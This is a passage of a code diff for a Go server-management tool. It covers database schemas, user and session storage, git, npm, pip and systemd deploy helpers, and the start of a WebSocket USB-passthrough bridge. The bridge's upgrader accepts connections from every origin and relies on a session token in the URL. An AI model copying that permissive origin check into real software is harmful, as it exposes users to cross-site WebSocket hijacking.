ssl_cert_path TEXT DEFAULT '',
ssl_key_path TEXT DEFAULT '',
ssl_auto BOOLEAN DEFAULT TRUE,
enabled BOOLEAN DEFAULT TRUE,
created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
updated_at DATETIME DEFAULT CURRENT_TIMESTAMP
);`
const migrateSystemUsers = `CREATE TABLE IF NOT EXISTS system_users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT NOT NULL UNIQUE,
uid INTEGER,
home_dir TEXT,
shell TEXT DEFAULT '/bin/bash',
created_at DATETIME DEFAULT CURRENT_TIMESTAMP
);`
const migrateManagerUsers = `CREATE TABLE IF NOT EXISTS manager_users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT NOT NULL UNIQUE,
password_hash TEXT NOT NULL,
role TEXT DEFAULT 'admin',
force_change BOOLEAN DEFAULT FALSE,
last_login DATETIME,
created_at DATETIME DEFAULT CURRENT_TIMESTAMP
);`
const migrateDeployments = `CREATE TABLE IF NOT EXISTS deployments (
id INTEGER PRIMARY KEY AUTOINCREMENT,
site_id INTEGER REFERENCES sites(id),
action TEXT NOT NULL,
status TEXT DEFAULT 'pending',
output TEXT DEFAULT '',
started_at DATETIME,
finished_at DATETIME
);`
const migrateCronJobs = `CREATE TABLE IF NOT EXISTS cron_jobs (
id INTEGER PRIMARY KEY AUTOINCREMENT,
site_id INTEGER REFERENCES sites(id),
job_type TEXT NOT NULL,
schedule TEXT NOT NULL,
enabled BOOLEAN DEFAULT TRUE,
last_run DATETIME,
next_run DATETIME
);`
const migrateFirewallRules = `CREATE TABLE IF NOT EXISTS firewall_rules (
id INTEGER PRIMARY KEY AUTOINCREMENT,
direction TEXT DEFAULT 'in',
protocol TEXT DEFAULT 'tcp',
port TEXT NOT NULL,
source TEXT DEFAULT 'any',
action TEXT DEFAULT 'allow',
comment TEXT DEFAULT '',
enabled BOOLEAN DEFAULT TRUE
);`
const migrateFloatSessions = `CREATE TABLE IF NOT EXISTS float_sessions (
id TEXT PRIMARY KEY,
user_id INTEGER REFERENCES manager_users(id),
client_ip TEXT,
client_agent TEXT,
usb_bridge BOOLEAN DEFAULT FALSE,
connected_at DATETIME DEFAULT CURRENT_TIMESTAMP,
last_ping DATETIME,
expires_at DATETIME
);`
const migrateAuditLog = `CREATE TABLE IF NOT EXISTS audit_log (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT NOT NULL,
ip TEXT,
action TEXT NOT NULL,
detail TEXT DEFAULT '',
created_at DATETIME DEFAULT CURRENT_TIMESTAMP
);`
const migrateBackups = `CREATE TABLE IF NOT EXISTS backups (
id INTEGER PRIMARY KEY AUTOINCREMENT,
site_id INTEGER REFERENCES sites(id),
backup_type TEXT DEFAULT 'site',
file_path TEXT NOT NULL,
size_bytes INTEGER DEFAULT 0,
created_at DATETIME DEFAULT CURRENT_TIMESTAMP
);`

View File

@ -0,0 +1,60 @@
package db
import "time"
type Deployment struct {
ID int64 `json:"id"`
SiteID *int64 `json:"site_id"`
Action string `json:"action"`
Status string `json:"status"`
Output string `json:"output"`
StartedAt *time.Time `json:"started_at"`
FinishedAt *time.Time `json:"finished_at"`
}
func (d *DB) CreateDeployment(siteID *int64, action string) (int64, error) {
result, err := d.conn.Exec(`INSERT INTO deployments (site_id, action, status, started_at)
VALUES (?, ?, 'running', CURRENT_TIMESTAMP)`, siteID, action)
if err != nil {
return 0, err
}
return result.LastInsertId()
}
func (d *DB) FinishDeployment(id int64, status, output string) error {
_, err := d.conn.Exec(`UPDATE deployments SET status=?, output=?, finished_at=CURRENT_TIMESTAMP
WHERE id=?`, status, output, id)
return err
}
func (d *DB) ListDeployments(siteID *int64, limit int) ([]Deployment, error) {
var rows_query string
var args []interface{}
if siteID != nil {
rows_query = `SELECT id, site_id, action, status, output, started_at, finished_at
FROM deployments WHERE site_id=? ORDER BY id DESC LIMIT ?`
args = []interface{}{*siteID, limit}
} else {
rows_query = `SELECT id, site_id, action, status, output, started_at, finished_at
FROM deployments ORDER BY id DESC LIMIT ?`
args = []interface{}{limit}
}
rows, err := d.conn.Query(rows_query, args...)
if err != nil {
return nil, err
}
defer rows.Close()
var deps []Deployment
for rows.Next() {
var dep Deployment
if err := rows.Scan(&dep.ID, &dep.SiteID, &dep.Action, &dep.Status,
&dep.Output, &dep.StartedAt, &dep.FinishedAt); err != nil {
return nil, err
}
deps = append(deps, dep)
}
return deps, rows.Err()
}

View File

@ -0,0 +1,70 @@
package db
import "time"
type FloatSession struct {
ID string `json:"id"`
UserID int64 `json:"user_id"`
ClientIP string `json:"client_ip"`
ClientAgent string `json:"client_agent"`
USBBridge bool `json:"usb_bridge"`
ConnectedAt time.Time `json:"connected_at"`
LastPing *time.Time `json:"last_ping"`
ExpiresAt time.Time `json:"expires_at"`
}
func (d *DB) CreateFloatSession(id string, userID int64, clientIP, agent string, expiresAt time.Time) error {
_, err := d.conn.Exec(`INSERT INTO float_sessions (id, user_id, client_ip, client_agent, expires_at)
VALUES (?, ?, ?, ?, ?)`, id, userID, clientIP, agent, expiresAt)
return err
}
func (d *DB) GetFloatSession(id string) (*FloatSession, error) {
var s FloatSession
err := d.conn.QueryRow(`SELECT id, user_id, client_ip, client_agent, usb_bridge,
connected_at, last_ping, expires_at FROM float_sessions WHERE id=?`, id).
Scan(&s.ID, &s.UserID, &s.ClientIP, &s.ClientAgent, &s.USBBridge,
&s.ConnectedAt, &s.LastPing, &s.ExpiresAt)
if err != nil {
return nil, err
}
return &s, nil
}
func (d *DB) ListFloatSessions() ([]FloatSession, error) {
rows, err := d.conn.Query(`SELECT id, user_id, client_ip, client_agent, usb_bridge,
connected_at, last_ping, expires_at FROM float_sessions ORDER BY connected_at DESC`)
if err != nil {
return nil, err
}
defer rows.Close()
var sessions []FloatSession
for rows.Next() {
var s FloatSession
if err := rows.Scan(&s.ID, &s.UserID, &s.ClientIP, &s.ClientAgent, &s.USBBridge,
&s.ConnectedAt, &s.LastPing, &s.ExpiresAt); err != nil {
return nil, err
}
sessions = append(sessions, s)
}
return sessions, rows.Err()
}
func (d *DB) DeleteFloatSession(id string) error {
_, err := d.conn.Exec(`DELETE FROM float_sessions WHERE id=?`, id)
return err
}
func (d *DB) PingFloatSession(id string) error {
_, err := d.conn.Exec(`UPDATE float_sessions SET last_ping=CURRENT_TIMESTAMP WHERE id=?`, id)
return err
}
func (d *DB) CleanExpiredFloatSessions() (int64, error) {
result, err := d.conn.Exec(`DELETE FROM float_sessions WHERE expires_at < CURRENT_TIMESTAMP`)
if err != nil {
return 0, err
}
return result.RowsAffected()
}

View File

@ -0,0 +1,107 @@
package db
import (
"database/sql"
"time"
)
type Site struct {
ID int64 `json:"id"`
Domain string `json:"domain"`
Aliases string `json:"aliases"`
AppType string `json:"app_type"`
AppRoot string `json:"app_root"`
AppPort int `json:"app_port"`
AppEntry string `json:"app_entry"`
GitRepo string `json:"git_repo"`
GitBranch string `json:"git_branch"`
SSLEnabled bool `json:"ssl_enabled"`
SSLCertPath string `json:"ssl_cert_path"`
SSLKeyPath string `json:"ssl_key_path"`
SSLAuto bool `json:"ssl_auto"`
Enabled bool `json:"enabled"`
CreatedAt time.Time `json:"created_at"`
UpdatedAt time.Time `json:"updated_at"`
}
func (d *DB) ListSites() ([]Site, error) {
rows, err := d.conn.Query(`SELECT id, domain, aliases, app_type, app_root, app_port,
app_entry, git_repo, git_branch, ssl_enabled, ssl_cert_path, ssl_key_path,
ssl_auto, enabled, created_at, updated_at FROM sites ORDER BY domain`)
if err != nil {
return nil, err
}
defer rows.Close()
var sites []Site
for rows.Next() {
var s Site
if err := rows.Scan(&s.ID, &s.Domain, &s.Aliases, &s.AppType, &s.AppRoot,
&s.AppPort, &s.AppEntry, &s.GitRepo, &s.GitBranch, &s.SSLEnabled,
&s.SSLCertPath, &s.SSLKeyPath, &s.SSLAuto, &s.Enabled,
&s.CreatedAt, &s.UpdatedAt); err != nil {
return nil, err
}
sites = append(sites, s)
}
return sites, rows.Err()
}
func (d *DB) GetSite(id int64) (*Site, error) {
var s Site
err := d.conn.QueryRow(`SELECT id, domain, aliases, app_type, app_root, app_port,
app_entry, git_repo, git_branch, ssl_enabled, ssl_cert_path, ssl_key_path,
ssl_auto, enabled, created_at, updated_at FROM sites WHERE id = ?`, id).
Scan(&s.ID, &s.Domain, &s.Aliases, &s.AppType, &s.AppRoot,
&s.AppPort, &s.AppEntry, &s.GitRepo, &s.GitBranch, &s.SSLEnabled,
&s.SSLCertPath, &s.SSLKeyPath, &s.SSLAuto, &s.Enabled,
&s.CreatedAt, &s.UpdatedAt)
if err == sql.ErrNoRows {
return nil, nil
}
return &s, err
}
func (d *DB) GetSiteByDomain(domain string) (*Site, error) {
var s Site
err := d.conn.QueryRow(`SELECT id, domain, aliases, app_type, app_root, app_port,
app_entry, git_repo, git_branch, ssl_enabled, ssl_cert_path, ssl_key_path,
ssl_auto, enabled, created_at, updated_at FROM sites WHERE domain = ?`, domain).
Scan(&s.ID, &s.Domain, &s.Aliases, &s.AppType, &s.AppRoot,
&s.AppPort, &s.AppEntry, &s.GitRepo, &s.GitBranch, &s.SSLEnabled,
&s.SSLCertPath, &s.SSLKeyPath, &s.SSLAuto, &s.Enabled,
&s.CreatedAt, &s.UpdatedAt)
if err == sql.ErrNoRows {
return nil, nil
}
return &s, err
}
func (d *DB) CreateSite(s *Site) (int64, error) {
result, err := d.conn.Exec(`INSERT INTO sites (domain, aliases, app_type, app_root, app_port,
app_entry, git_repo, git_branch, ssl_enabled, ssl_cert_path, ssl_key_path, ssl_auto, enabled)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
s.Domain, s.Aliases, s.AppType, s.AppRoot, s.AppPort,
s.AppEntry, s.GitRepo, s.GitBranch, s.SSLEnabled,
s.SSLCertPath, s.SSLKeyPath, s.SSLAuto, s.Enabled)
if err != nil {
return 0, err
}
return result.LastInsertId()
}
func (d *DB) UpdateSite(s *Site) error {
_, err := d.conn.Exec(`UPDATE sites SET domain=?, aliases=?, app_type=?, app_root=?,
app_port=?, app_entry=?, git_repo=?, git_branch=?, ssl_enabled=?,
ssl_cert_path=?, ssl_key_path=?, ssl_auto=?, enabled=?, updated_at=CURRENT_TIMESTAMP
WHERE id=?`,
s.Domain, s.Aliases, s.AppType, s.AppRoot, s.AppPort,
s.AppEntry, s.GitRepo, s.GitBranch, s.SSLEnabled,
s.SSLCertPath, s.SSLKeyPath, s.SSLAuto, s.Enabled, s.ID)
return err
}
func (d *DB) DeleteSite(id int64) error {
_, err := d.conn.Exec(`DELETE FROM sites WHERE id=?`, id)
return err
}

View File

@ -0,0 +1,124 @@
package db
import (
"database/sql"
"time"
"golang.org/x/crypto/bcrypt"
)
type ManagerUser struct {
ID int64 `json:"id"`
Username string `json:"username"`
PasswordHash string `json:"-"`
Role string `json:"role"`
ForceChange bool `json:"force_change"`
LastLogin *time.Time `json:"last_login"`
CreatedAt time.Time `json:"created_at"`
}
func (d *DB) ListManagerUsers() ([]ManagerUser, error) {
rows, err := d.conn.Query(`SELECT id, username, password_hash, role, force_change,
last_login, created_at FROM manager_users ORDER BY username`)
if err != nil {
return nil, err
}
defer rows.Close()
var users []ManagerUser
for rows.Next() {
var u ManagerUser
if err := rows.Scan(&u.ID, &u.Username, &u.PasswordHash, &u.Role,
&u.ForceChange, &u.LastLogin, &u.CreatedAt); err != nil {
return nil, err
}
users = append(users, u)
}
return users, rows.Err()
}
func (d *DB) GetManagerUser(username string) (*ManagerUser, error) {
var u ManagerUser
err := d.conn.QueryRow(`SELECT id, username, password_hash, role, force_change,
last_login, created_at FROM manager_users WHERE username = ?`, username).
Scan(&u.ID, &u.Username, &u.PasswordHash, &u.Role,
&u.ForceChange, &u.LastLogin, &u.CreatedAt)
if err == sql.ErrNoRows {
return nil, nil
}
return &u, err
}
func (d *DB) GetManagerUserByID(id int64) (*ManagerUser, error) {
var u ManagerUser
err := d.conn.QueryRow(`SELECT id, username, password_hash, role, force_change,
last_login, created_at FROM manager_users WHERE id = ?`, id).
Scan(&u.ID, &u.Username, &u.PasswordHash, &u.Role,
&u.ForceChange, &u.LastLogin, &u.CreatedAt)
if err == sql.ErrNoRows {
return nil, nil
}
return &u, err
}
func (d *DB) CreateManagerUser(username, password, role string) (int64, error) {
hash, err := bcrypt.GenerateFromPassword([]byte(password), bcrypt.DefaultCost)
if err != nil {
return 0, err
}
result, err := d.conn.Exec(`INSERT INTO manager_users (username, password_hash, role)
VALUES (?, ?, ?)`, username, string(hash), role)
if err != nil {
return 0, err
}
return result.LastInsertId()
}
func (d *DB) UpdateManagerUserPassword(id int64, password string) error {
hash, err := bcrypt.GenerateFromPassword([]byte(password), bcrypt.DefaultCost)
if err != nil {
return err
}
_, err = d.conn.Exec(`UPDATE manager_users SET password_hash=?, force_change=FALSE WHERE id=?`,
string(hash), id)
return err
}
func (d *DB) UpdateManagerUserRole(id int64, role string) error {
_, err := d.conn.Exec(`UPDATE manager_users SET role=? WHERE id=?`, role, id)
return err
}
func (d *DB) DeleteManagerUser(id int64) error {
_, err := d.conn.Exec(`DELETE FROM manager_users WHERE id=?`, id)
return err
}
func (d *DB) UpdateLoginTimestamp(id int64) error {
_, err := d.conn.Exec(`UPDATE manager_users SET last_login=CURRENT_TIMESTAMP WHERE id=?`, id)
return err
}
func (d *DB) ManagerUserCount() (int, error) {
var count int
err := d.conn.QueryRow(`SELECT COUNT(*) FROM manager_users`).Scan(&count)
return count, err
}
func (d *DB) AuthenticateUser(username, password string) (*ManagerUser, error) {
u, err := d.GetManagerUser(username)
if err != nil {
return nil, err
}
if u == nil {
return nil, nil
}
if err := bcrypt.CompareHashAndPassword([]byte(u.PasswordHash), []byte(password)); err != nil {
return nil, nil
}
d.UpdateLoginTimestamp(u.ID)
return u, nil
}

View File

@ -0,0 +1,144 @@
package deploy
import (
"fmt"
"os/exec"
"strings"
)
// CommitInfo holds metadata for a single git commit.
type CommitInfo struct {
Hash string
Author string
Date string
Message string
}
// Clone clones a git repository into dest, checking out the given branch.
func Clone(repo, branch, dest string) (string, error) {
git, err := exec.LookPath("git")
if err != nil {
return "", fmt.Errorf("git not found: %w", err)
}
args := []string{"clone", "--branch", branch, "--progress", repo, dest}
out, err := exec.Command(git, args...).CombinedOutput()
if err != nil {
return string(out), fmt.Errorf("git clone: %s: %w", strings.TrimSpace(string(out)), err)
}
return string(out), nil
}
// Pull performs a fast-forward-only pull in the given directory.
func Pull(dir string) (string, error) {
git, err := exec.LookPath("git")
if err != nil {
return "", fmt.Errorf("git not found: %w", err)
}
cmd := exec.Command(git, "pull", "--ff-only")
cmd.Dir = dir
out, err := cmd.CombinedOutput()
if err != nil {
return string(out), fmt.Errorf("git pull: %s: %w", strings.TrimSpace(string(out)), err)
}
return string(out), nil
}
// CurrentCommit returns the hash and message of the latest commit in dir.
func CurrentCommit(dir string) (hash string, message string, err error) {
git, err := exec.LookPath("git")
if err != nil {
return "", "", fmt.Errorf("git not found: %w", err)
}
cmd := exec.Command(git, "log", "--oneline", "-1")
cmd.Dir = dir
out, err := cmd.Output()
if err != nil {
return "", "", fmt.Errorf("git log: %w", err)
}
line := strings.TrimSpace(string(out))
if line == "" {
return "", "", fmt.Errorf("git log: no commits found")
}
parts := strings.SplitN(line, " ", 2)
hash = parts[0]
if len(parts) > 1 {
message = parts[1]
}
return hash, message, nil
}
// GetBranch returns the current branch name for the repository in dir.
func GetBranch(dir string) (string, error) {
git, err := exec.LookPath("git")
if err != nil {
return "", fmt.Errorf("git not found: %w", err)
}
cmd := exec.Command(git, "rev-parse", "--abbrev-ref", "HEAD")
cmd.Dir = dir
out, err := cmd.Output()
if err != nil {
return "", fmt.Errorf("git rev-parse: %w", err)
}
return strings.TrimSpace(string(out)), nil
}
// HasChanges returns true if the working tree in dir has uncommitted changes.
func HasChanges(dir string) (bool, error) {
git, err := exec.LookPath("git")
if err != nil {
return false, fmt.Errorf("git not found: %w", err)
}
cmd := exec.Command(git, "status", "--porcelain")
cmd.Dir = dir
out, err := cmd.Output()
if err != nil {
return false, fmt.Errorf("git status: %w", err)
}
return strings.TrimSpace(string(out)) != "", nil
}
// Log returns the last n commits from the repository in dir.
func Log(dir string, n int) ([]CommitInfo, error) {
git, err := exec.LookPath("git")
if err != nil {
return nil, fmt.Errorf("git not found: %w", err)
}
// Use a delimiter unlikely to appear in commit messages.
const sep = "||SETEC||"
format := fmt.Sprintf("%%h%s%%an%s%%ai%s%%s", sep, sep, sep)
cmd := exec.Command(git, "log", fmt.Sprintf("-n%d", n), fmt.Sprintf("--format=%s", format))
cmd.Dir = dir
out, err := cmd.Output()
if err != nil {
return nil, fmt.Errorf("git log: %w", err)
}
lines := strings.Split(strings.TrimSpace(string(out)), "\n")
var commits []CommitInfo
for _, line := range lines {
line = strings.TrimSpace(line)
if line == "" {
continue
}
parts := strings.SplitN(line, sep, 4)
if len(parts) < 4 {
continue
}
commits = append(commits, CommitInfo{
Hash: parts[0],
Author: parts[1],
Date: parts[2],
Message: parts[3],
})
}
return commits, nil
}

View File

@ -0,0 +1,100 @@
package deploy
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
)
// NpmInstall runs npm install in the given directory.
func NpmInstall(dir string) (string, error) {
npm, err := exec.LookPath("npm")
if err != nil {
return "", fmt.Errorf("npm not found: %w", err)
}
cmd := exec.Command(npm, "install")
cmd.Dir = dir
out, err := cmd.CombinedOutput()
if err != nil {
return string(out), fmt.Errorf("npm install: %s: %w", strings.TrimSpace(string(out)), err)
}
return string(out), nil
}
// NpmBuild runs npm run build in the given directory.
func NpmBuild(dir string) (string, error) {
npm, err := exec.LookPath("npm")
if err != nil {
return "", fmt.Errorf("npm not found: %w", err)
}
cmd := exec.Command(npm, "run", "build")
cmd.Dir = dir
out, err := cmd.CombinedOutput()
if err != nil {
return string(out), fmt.Errorf("npm run build: %s: %w", strings.TrimSpace(string(out)), err)
}
return string(out), nil
}
// NpmAudit runs npm audit in the given directory and returns the report.
func NpmAudit(dir string) (string, error) {
npm, err := exec.LookPath("npm")
if err != nil {
return "", fmt.Errorf("npm not found: %w", err)
}
cmd := exec.Command(npm, "audit")
cmd.Dir = dir
// npm audit exits non-zero when vulnerabilities are found, which is not
// an execution error — we still want the output.
out, err := cmd.CombinedOutput()
if err != nil {
// Return the output even on non-zero exit; the caller can inspect it.
return string(out), fmt.Errorf("npm audit: %s: %w", strings.TrimSpace(string(out)), err)
}
return string(out), nil
}
// HasPackageJSON returns true if a package.json file exists in dir.
func HasPackageJSON(dir string) bool {
info, err := os.Stat(filepath.Join(dir, "package.json"))
return err == nil && !info.IsDir()
}
// HasNodeModules returns true if a node_modules directory exists in dir.
func HasNodeModules(dir string) bool {
info, err := os.Stat(filepath.Join(dir, "node_modules"))
return err == nil && info.IsDir()
}
// NodeVersion returns the installed Node.js version string.
func NodeVersion() (string, error) {
node, err := exec.LookPath("node")
if err != nil {
return "", fmt.Errorf("node not found: %w", err)
}
out, err := exec.Command(node, "--version").Output()
if err != nil {
return "", fmt.Errorf("node --version: %w", err)
}
return strings.TrimSpace(string(out)), nil
}
// NpmVersion returns the installed npm version string.
func NpmVersion() (string, error) {
npm, err := exec.LookPath("npm")
if err != nil {
return "", fmt.Errorf("npm not found: %w", err)
}
out, err := exec.Command(npm, "--version").Output()
if err != nil {
return "", fmt.Errorf("npm --version: %w", err)
}
return strings.TrimSpace(string(out)), nil
}

View File

@ -0,0 +1,93 @@
package deploy
import (
"encoding/json"
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
)
// PipPackage holds the name and version of an installed pip package.
type PipPackage struct {
Name string `json:"name"`
Version string `json:"version"`
}
// CreateVenv creates a Python virtual environment at <dir>/venv.
func CreateVenv(dir string) error {
python, err := exec.LookPath("python3")
if err != nil {
return fmt.Errorf("python3 not found: %w", err)
}
venvPath := filepath.Join(dir, "venv")
out, err := exec.Command(python, "-m", "venv", venvPath).CombinedOutput()
if err != nil {
return fmt.Errorf("create venv: %s: %w", strings.TrimSpace(string(out)), err)
}
return nil
}
// UpgradePip upgrades pip, setuptools, and wheel inside the virtual environment
// rooted at venvDir.
func UpgradePip(venvDir string) error {
pip := filepath.Join(venvDir, "bin", "pip")
if _, err := os.Stat(pip); err != nil {
return fmt.Errorf("pip not found at %s: %w", pip, err)
}
out, err := exec.Command(pip, "install", "--upgrade", "pip", "setuptools", "wheel").CombinedOutput()
if err != nil {
return fmt.Errorf("upgrade pip: %s: %w", strings.TrimSpace(string(out)), err)
}
return nil
}
// InstallRequirements installs packages from a requirements file into the
// virtual environment rooted at venvDir.
func InstallRequirements(venvDir, reqFile string) (string, error) {
pip := filepath.Join(venvDir, "bin", "pip")
if _, err := os.Stat(pip); err != nil {
return "", fmt.Errorf("pip not found at %s: %w", pip, err)
}
if _, err := os.Stat(reqFile); err != nil {
return "", fmt.Errorf("requirements file not found: %w", err)
}
out, err := exec.Command(pip, "install", "-r", reqFile).CombinedOutput()
if err != nil {
return string(out), fmt.Errorf("pip install: %s: %w", strings.TrimSpace(string(out)), err)
}
return string(out), nil
}
// ListPackages returns all installed packages in the virtual environment
// rooted at venvDir.
func ListPackages(venvDir string) ([]PipPackage, error) {
pip := filepath.Join(venvDir, "bin", "pip")
if _, err := os.Stat(pip); err != nil {
return nil, fmt.Errorf("pip not found at %s: %w", pip, err)
}
out, err := exec.Command(pip, "list", "--format=json").Output()
if err != nil {
return nil, fmt.Errorf("pip list: %w", err)
}
var packages []PipPackage
if err := json.Unmarshal(out, &packages); err != nil {
return nil, fmt.Errorf("parse pip list output: %w", err)
}
return packages, nil
}
// VenvExists returns true if a virtual environment with a working python3
// binary exists at <dir>/venv.
func VenvExists(dir string) bool {
python := filepath.Join(dir, "venv", "bin", "python3")
info, err := os.Stat(python)
return err == nil && !info.IsDir()
}

View File

@ -0,0 +1,246 @@
package deploy
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"sort"
"strings"
)
// UnitConfig holds the parameters needed to generate a systemd unit file.
type UnitConfig struct {
Name string
Description string
ExecStart string
WorkingDirectory string
User string
Environment map[string]string
After string
RestartPolicy string
}
// GenerateUnit produces the contents of a systemd service unit file from cfg.
func GenerateUnit(cfg UnitConfig) string {
var b strings.Builder
// [Unit]
b.WriteString("[Unit]\n")
if cfg.Description != "" {
fmt.Fprintf(&b, "Description=%s\n", cfg.Description)
}
after := cfg.After
if after == "" {
after = "network.target"
}
fmt.Fprintf(&b, "After=%s\n", after)
// [Service]
b.WriteString("\n[Service]\n")
b.WriteString("Type=simple\n")
if cfg.User != "" {
fmt.Fprintf(&b, "User=%s\n", cfg.User)
}
if cfg.WorkingDirectory != "" {
fmt.Fprintf(&b, "WorkingDirectory=%s\n", cfg.WorkingDirectory)
}
fmt.Fprintf(&b, "ExecStart=%s\n", cfg.ExecStart)
restart := cfg.RestartPolicy
if restart == "" {
restart = "on-failure"
}
fmt.Fprintf(&b, "Restart=%s\n", restart)
b.WriteString("RestartSec=5\n")
// Environment variables — sorted for deterministic output.
if len(cfg.Environment) > 0 {
keys := make([]string, 0, len(cfg.Environment))
for k := range cfg.Environment {
keys = append(keys, k)
}
sort.Strings(keys)
for _, k := range keys {
fmt.Fprintf(&b, "Environment=%s=%s\n", k, cfg.Environment[k])
}
}
// [Install]
b.WriteString("\n[Install]\n")
b.WriteString("WantedBy=multi-user.target\n")
return b.String()
}
// InstallUnit writes a systemd unit file and reloads the daemon.
func InstallUnit(name, content string) error {
systemctl, err := exec.LookPath("systemctl")
if err != nil {
return fmt.Errorf("systemctl not found: %w", err)
}
unitPath := filepath.Join("/etc/systemd/system", name+".service")
if err := os.WriteFile(unitPath, []byte(content), 0644); err != nil {
return fmt.Errorf("write unit file: %w", err)
}
out, err := exec.Command(systemctl, "daemon-reload").CombinedOutput()
if err != nil {
return fmt.Errorf("daemon-reload: %s: %w", strings.TrimSpace(string(out)), err)
}
return nil
}
// RemoveUnit stops, disables, and removes a systemd unit file, then reloads.
func RemoveUnit(name string) error {
systemctl, err := exec.LookPath("systemctl")
if err != nil {
return fmt.Errorf("systemctl not found: %w", err)
}
unit := name + ".service"
// Best-effort stop and disable — ignore errors if already stopped/disabled.
exec.Command(systemctl, "stop", unit).Run()
exec.Command(systemctl, "disable", unit).Run()
unitPath := filepath.Join("/etc/systemd/system", unit)
if err := os.Remove(unitPath); err != nil && !os.IsNotExist(err) {
return fmt.Errorf("remove unit file: %w", err)
}
out, err := exec.Command(systemctl, "daemon-reload").CombinedOutput()
if err != nil {
return fmt.Errorf("daemon-reload: %s: %w", strings.TrimSpace(string(out)), err)
}
return nil
}
// Start starts a systemd unit.
func Start(unit string) error {
systemctl, err := exec.LookPath("systemctl")
if err != nil {
return fmt.Errorf("systemctl not found: %w", err)
}
out, err := exec.Command(systemctl, "start", unit).CombinedOutput()
if err != nil {
return fmt.Errorf("start %s: %s: %w", unit, strings.TrimSpace(string(out)), err)
}
return nil
}
// Stop stops a systemd unit.
func Stop(unit string) error {
systemctl, err := exec.LookPath("systemctl")
if err != nil {
return fmt.Errorf("systemctl not found: %w", err)
}
out, err := exec.Command(systemctl, "stop", unit).CombinedOutput()
if err != nil {
return fmt.Errorf("stop %s: %s: %w", unit, strings.TrimSpace(string(out)), err)
}
return nil
}
// Restart restarts a systemd unit.
func Restart(unit string) error {
systemctl, err := exec.LookPath("systemctl")
if err != nil {
return fmt.Errorf("systemctl not found: %w", err)
}
out, err := exec.Command(systemctl, "restart", unit).CombinedOutput()
if err != nil {
return fmt.Errorf("restart %s: %s: %w", unit, strings.TrimSpace(string(out)), err)
}
return nil
}
// Enable enables a systemd unit to start on boot.
func Enable(unit string) error {
systemctl, err := exec.LookPath("systemctl")
if err != nil {
return fmt.Errorf("systemctl not found: %w", err)
}
out, err := exec.Command(systemctl, "enable", unit).CombinedOutput()
if err != nil {
return fmt.Errorf("enable %s: %s: %w", unit, strings.TrimSpace(string(out)), err)
}
return nil
}
// Disable disables a systemd unit from starting on boot.
func Disable(unit string) error {
systemctl, err := exec.LookPath("systemctl")
if err != nil {
return fmt.Errorf("systemctl not found: %w", err)
}
out, err := exec.Command(systemctl, "disable", unit).CombinedOutput()
if err != nil {
return fmt.Errorf("disable %s: %s: %w", unit, strings.TrimSpace(string(out)), err)
}
return nil
}
// IsActive returns true if the given systemd unit is currently active.
func IsActive(unit string) (bool, error) {
systemctl, err := exec.LookPath("systemctl")
if err != nil {
return false, fmt.Errorf("systemctl not found: %w", err)
}
out, err := exec.Command(systemctl, "is-active", unit).Output()
status := strings.TrimSpace(string(out))
if status == "active" {
return true, nil
}
// is-active exits non-zero for inactive/failed — that is not an error
// in our context, just means the unit is not active.
return false, nil
}
// Status returns the full systemctl status output for a unit.
func Status(unit string) (string, error) {
systemctl, err := exec.LookPath("systemctl")
if err != nil {
return "", fmt.Errorf("systemctl not found: %w", err)
}
// systemctl status exits non-zero for stopped services, so we use
// CombinedOutput and only treat missing-binary as a real error.
out, _ := exec.Command(systemctl, "status", unit).CombinedOutput()
return string(out), nil
}
// Logs returns the last n lines of journal output for a systemd unit.
func Logs(unit string, lines int) (string, error) {
journalctl, err := exec.LookPath("journalctl")
if err != nil {
return "", fmt.Errorf("journalctl not found: %w", err)
}
out, err := exec.Command(journalctl, "-u", unit, "-n", fmt.Sprintf("%d", lines), "--no-pager").CombinedOutput()
if err != nil {
return string(out), fmt.Errorf("journalctl: %s: %w", strings.TrimSpace(string(out)), err)
}
return string(out), nil
}
// DaemonReload runs systemctl daemon-reload.
func DaemonReload() error {
systemctl, err := exec.LookPath("systemctl")
if err != nil {
return fmt.Errorf("systemctl not found: %w", err)
}
out, err := exec.Command(systemctl, "daemon-reload").CombinedOutput()
if err != nil {
return fmt.Errorf("daemon-reload: %s: %w", strings.TrimSpace(string(out)), err)
}
return nil
}

View File

@ -0,0 +1,366 @@
package float
import (
"log"
"net/http"
"sync"
"time"
"setec-manager/internal/db"
"github.com/gorilla/websocket"
)
// Bridge manages WebSocket connections for USB passthrough in Float Mode.
type Bridge struct {
db *db.DB
sessions map[string]*bridgeConn
mu sync.RWMutex
upgrader websocket.Upgrader
}
// bridgeConn tracks a single active WebSocket connection and its associated session.
type bridgeConn struct {
sessionID string
conn *websocket.Conn
devices []USBDevice
mu sync.Mutex
done chan struct{}
}
const (
writeWait = 10 * time.Second
pongWait = 60 * time.Second
pingInterval = 30 * time.Second
maxMessageSize = 64 * 1024 // 64 KB max frame payload
)
// NewBridge creates a new Bridge with the given database reference.
func NewBridge(database *db.DB) *Bridge {
return &Bridge{
db: database,
sessions: make(map[string]*bridgeConn),
upgrader: websocket.Upgrader{
ReadBufferSize: 4096,
WriteBufferSize: 4096,
CheckOrigin: func(r *http.Request) bool {
return true // Accept all origins; auth is handled via session token
},
},
}
}
// HandleWebSocket upgrades an HTTP connection to WebSocket and manages the
// binary frame protocol for USB passthrough. The session ID must be provided
// as a "session" query parameter.
func (b *Bridge) HandleWebSocket(w http.ResponseWriter, r *http.Request) {
sessionID := r.URL.Query().Get("session")
if sessionID == "" {
http.Error(w, "missing session parameter", http.StatusBadRequest)
return
}
// Validate session exists and is not expired
sess, err := b.db.GetFloatSession(sessionID)
if err != nil {
http.Error(w, "invalid session", http.StatusUnauthorized)
return
}
if time.Now().After(sess.ExpiresAt) {
http.Error(w, "session expired", http.StatusUnauthorized)
return
}
// Upgrade to WebSocket
conn, err := b.upgrader.Upgrade(w, r, nil)
if err != nil {
log.Printf("[float/bridge] upgrade failed for session %s: %v", sessionID, err)
return
}
bc := &bridgeConn{
sessionID: sessionID,
conn: conn,
done: make(chan struct{}),
}
// Register active connection
b.mu.Lock()
// Close any existing connection for this session
if existing, ok := b.sessions[sessionID]; ok {
close(existing.done)
existing.conn.Close()
}
